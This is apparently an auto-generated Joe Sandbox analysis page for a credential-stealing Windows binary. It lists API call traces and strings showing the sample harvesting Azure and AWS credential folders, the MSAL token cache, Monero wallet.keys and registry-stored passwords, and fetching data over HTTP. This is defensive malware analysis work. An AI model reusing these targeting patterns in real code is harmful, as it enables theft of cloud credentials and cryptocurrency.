Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: f537ce5cd150e3dfa1831995633948a668a82c0324b0ffbef0ee368189eb57d7
Instruction ID: 8f77a62a9cf8c2fefb82399012949a4edb1c928e1370cd8c64195d3117b6f477
Opcode Fuzzy Hash: f537ce5cd150e3dfa1831995633948a668a82c0324b0ffbef0ee368189eb57d7
Instruction Fuzzy Hash: 96813B75951118ABEB28DB54CD91FEEB7B8FF18710F008698E109A6180DF746BC6CFA1

Function 00A06280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00A1A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A1A7E6

Part of subcall function 00A047B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00A04839
Part of subcall function 00A047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00A04849

Part of subcall function 00A1A740: lstrcpy.KERNEL32(00A20E17,00000000), ref: 00A1A788

InternetOpenA.WININET(00A20DFE,00000001,00000000,00000000,00000000), ref: 00A062E1
StrCmpCA.SHLWAPI(?,010BE8C8), ref: 00A06303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00A06335
HttpOpenRequestA.WININET(00000000,GET,?,010BDEA0,00000000,00000000,00400100,00000000), ref: 00A06385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00A063BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00A063D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00A063FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00A0646D
InternetCloseHandle.WININET(00000000), ref: 00A064EF
InternetCloseHandle.WININET(00000000), ref: 00A064F9
InternetCloseHandle.WININET(00000000), ref: 00A06503

Strings

GET, xrefs: 00A0637C
ERROR, xrefs: 00A064C9
ERROR, xrefs: 00A06407

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 60cebf534727551ca2a8853a99aadd70afb971d47086d4d54d9b317f27e615b6
Instruction ID: 6013e59760a9274523c44c4848856e35be6f12b7532392cd5e0dc7ec003ba4d9
Opcode Fuzzy Hash: 60cebf534727551ca2a8853a99aadd70afb971d47086d4d54d9b317f27e615b6
Instruction Fuzzy Hash: 0E716D75A40218ABDB24DFA0DD49FEE7778FB44704F108198F10AAB1D0DBB56A85CF92

Function 00A15510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00A1A820: lstrlen.KERNEL32(00A04F05,?,?,00A04F05,00A20DDE), ref: 00A1A82B
Part of subcall function 00A1A820: lstrcpy.KERNEL32(00A20DDE,00000000), ref: 00A1A885

Part of subcall function 00A1A740: lstrcpy.KERNEL32(00A20E17,00000000), ref: 00A1A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00A15644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00A156A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00A15857

Part of subcall function 00A1A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A1A7E6

Part of subcall function 00A151F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00A15228

Part of subcall function 00A1A8A0: lstrcpy.KERNEL32(?,00A20E17), ref: 00A1A905

Part of subcall function 00A152C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00A15318
Part of subcall function 00A152C0: lstrlen.KERNEL32(00000000), ref: 00A1532F
Part of subcall function 00A152C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00A15364
Part of subcall function 00A152C0: lstrlen.KERNEL32(00000000), ref: 00A15383
Part of subcall function 00A152C0: lstrlen.KERNEL32(00000000), ref: 00A153AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00A1578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00A15940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00A15A0C
Sleep.KERNEL32(0000EA60), ref: 00A15A1B

Strings

ERROR, xrefs: 00A15932
ERROR, xrefs: 00A15693
ERROR, xrefs: 00A15849
ERROR, xrefs: 00A159FE
ERROR, xrefs: 00A15636
ERROR, xrefs: 00A1577D

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 2bfb62d307138c80b0368b6534f29bdae1329477835c3f406f55412d146620c1
Instruction ID: 2c17a803480030bc3bc1fec9748f596c8df3bb92f788d433f33a4885aefdd078
Opcode Fuzzy Hash: 2bfb62d307138c80b0368b6534f29bdae1329477835c3f406f55412d146620c1
Instruction Fuzzy Hash: C5E13075D11108AACB14FBB0EE56EED733DBF64350F508528B506560D1EF346B8ACB92

Function 00A14D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A18DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00A18E0B

lstrcat.KERNEL32(?,00000000), ref: 00A14DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00A14DCD

Part of subcall function 00A14910: wsprintfA.USER32 ref: 00A1492C
Part of subcall function 00A14910: FindFirstFileA.KERNEL32(?,?), ref: 00A14943

lstrcat.KERNEL32(?,00000000), ref: 00A14E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00A14E59

Part of subcall function 00A14910: StrCmpCA.SHLWAPI(?,00A20FDC), ref: 00A14971
Part of subcall function 00A14910: StrCmpCA.SHLWAPI(?,00A20FE0), ref: 00A14987
Part of subcall function 00A14910: FindNextFileA.KERNEL32(000000FF,?), ref: 00A14B7D
Part of subcall function 00A14910: FindClose.KERNEL32(000000FF), ref: 00A14B92

lstrcat.KERNEL32(?,00000000), ref: 00A14EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00A14EE5

Part of subcall function 00A14910: wsprintfA.USER32 ref: 00A149B0
Part of subcall function 00A14910: StrCmpCA.SHLWAPI(?,00A208D2), ref: 00A149C5
Part of subcall function 00A14910: wsprintfA.USER32 ref: 00A149E2
Part of subcall function 00A14910: PathMatchSpecA.SHLWAPI(?,?), ref: 00A14A1E
Part of subcall function 00A14910: lstrcat.KERNEL32(?,010BE758), ref: 00A14A4A
Part of subcall function 00A14910: lstrcat.KERNEL32(?,00A20FF8), ref: 00A14A5C
Part of subcall function 00A14910: lstrcat.KERNEL32(?,?), ref: 00A14A70
Part of subcall function 00A14910: lstrcat.KERNEL32(?,00A20FFC), ref: 00A14A82
Part of subcall function 00A14910: lstrcat.KERNEL32(?,?), ref: 00A14A96
Part of subcall function 00A14910: CopyFileA.KERNEL32(?,?,00000001), ref: 00A14AAC
Part of subcall function 00A14910: DeleteFileA.KERNEL32(?), ref: 00A14B31

Strings

\.aws\, xrefs: 00A14E4D
Azure\.azure, xrefs: 00A14DD3
*.*, xrefs: 00A14E64
Azure\.IdentityService, xrefs: 00A14EEB
Azure\.aws, xrefs: 00A14E5F
\.azure\, xrefs: 00A14DC1
msal.cache, xrefs: 00A14EF0
\.IdentityService\, xrefs: 00A14ED9
*.*, xrefs: 00A14DD8

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 256566b367c2273d9ba66129185de34dd99026d4c6cb989e7fdcbc2dcb7036fc
Instruction ID: 3ec7f68386f12794e9df74142984ea5ebc8b2feae5de92bfeca7a52826fa8bf4
Opcode Fuzzy Hash: 256566b367c2273d9ba66129185de34dd99026d4c6cb989e7fdcbc2dcb7036fc
Instruction Fuzzy Hash: 3E4183BEA4421867DB10F770ED47FED7338BB64704F4048A4B589660C1EEB46BC98B92

Function 00A01310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00A012A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00A012B4
Part of subcall function 00A012A0: RtlAllocateHeap.NTDLL(00000000), ref: 00A012BB
Part of subcall function 00A012A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 00A012D7
Part of subcall function 00A012A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00A012F5
Part of subcall function 00A012A0: RegCloseKey.ADVAPI32(?), ref: 00A012FF

lstrcat.KERNEL32(?,00000000), ref: 00A0134F
lstrlen.KERNEL32(?), ref: 00A0135C
lstrcat.KERNEL32(?,.keys), ref: 00A01377

Part of subcall function 00A1A740: lstrcpy.KERNEL32(00A20E17,00000000), ref: 00A1A788

Part of subcall function 00A1A9B0: lstrlen.KERNEL32(?,010B8F58,?,\Monero\wallet.keys,00A20E17), ref: 00A1A9C5
Part of subcall function 00A1A9B0: lstrcpy.KERNEL32(00000000), ref: 00A1AA04
Part of subcall function 00A1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A1AA12

Part of subcall function 00A1A8A0: lstrcpy.KERNEL32(?,00A20E17), ref: 00A1A905

Part of subcall function 00A18B60: GetSystemTime.KERNEL32(00A20E1A,010BA690,00A205AE,?,?,00A013F9,?,0000001A,00A20E1A,00000000,?,010B8F58,?,\Monero\wallet.keys,00A20E17), ref: 00A18B86

Part of subcall function 00A1A920: lstrcpy.KERNEL32(00000000,?), ref: 00A1A972
Part of subcall function 00A1A920: lstrcat.KERNEL32(00000000), ref: 00A1A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00A01465

Part of subcall function 00A1A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A1A7E6

Part of subcall function 00A099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00A099EC
Part of subcall function 00A099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00A09A11
Part of subcall function 00A099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00A09A31
Part of subcall function 00A099C0: ReadFile.KERNEL32(000000FF,?,00000000,00A0148F,00000000), ref: 00A09A5A
Part of subcall function 00A099C0: LocalFree.KERNEL32(00A0148F), ref: 00A09A90
Part of subcall function 00A099C0: CloseHandle.KERNEL32(000000FF), ref: 00A09A9A

DeleteFileA.KERNEL32(00000000), ref: 00A014EF

Strings

\Monero\wallet.keys, xrefs: 00A0138D
.keys, xrefs: 00A0136B
wallet_path, xrefs: 00A01330
SOFTWARE\monero-project\monero-core, xrefs: 00A01335

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: cd51084d61c4a90e29a393b4941d488d43ff22c4fcfb4360952cf336d53ace20
Instruction ID: 4123bd095c1c9efe2f8b5b3d44795c6bbef8e73c8b68a5c17c8fa0c58bdee87d
Opcode Fuzzy Hash: cd51084d61c4a90e29a393b4941d488d43ff22c4fcfb4360952cf336d53ace20
Instruction Fuzzy Hash: C95157B5D5011857DB15FB60DE91FED733CAF64310F4045A8B60A620C1EE306BC6CBA6

Function 00A075D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A072D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00A0733A
Part of subcall function 00A072D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00A073B1
Part of subcall function 00A072D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00A0740D
Part of subcall function 00A072D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00A07452
Part of subcall function 00A072D0: HeapFree.KERNEL32(00000000), ref: 00A07459

lstrcat.KERNEL32(2F780020,00A217FC), ref: 00A07606
lstrcat.KERNEL32(2F780020,00000000), ref: 00A07648
lstrcat.KERNEL32(2F780020, : ), ref: 00A0765A
lstrcat.KERNEL32(2F780020,00000000), ref: 00A0768F
lstrcat.KERNEL32(2F780020,00A21804), ref: 00A076A0
lstrcat.KERNEL32(2F780020,00000000), ref: 00A076D3
lstrcat.KERNEL32(2F780020,00A21808), ref: 00A076ED
task.LIBCPMTD ref: 00A076FB

Strings

: , xrefs: 00A0764E

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: f5d336ca660e762debde6be2a067d5ec548e1508ee29bfbeca5fb9affeb80d52
Instruction ID: 13b7a708a8d747d5dd28ed56edf458776d24ff5e6c728cdcc28f1949ed6cf9ad
Opcode Fuzzy Hash: f5d336ca660e762debde6be2a067d5ec548e1508ee29bfbeca5fb9affeb80d52
Instruction Fuzzy Hash: CB31277AD40109EBCB04EBE4ED95FEE7779FB59301F144518F102A72E0DA34A946CB62

Function 00A17500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00A17542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00A1757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00A17603
RtlAllocateHeap.NTDLL(00000000), ref: 00A1760A
wsprintfA.USER32 ref: 00A17640

Part of subcall function 00A1A740: lstrcpy.KERNEL32(00A20E17,00000000), ref: 00A1A788

Strings

C, xrefs: 00A1754C
:, xrefs: 00A1755C
\, xrefs: 00A17560

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
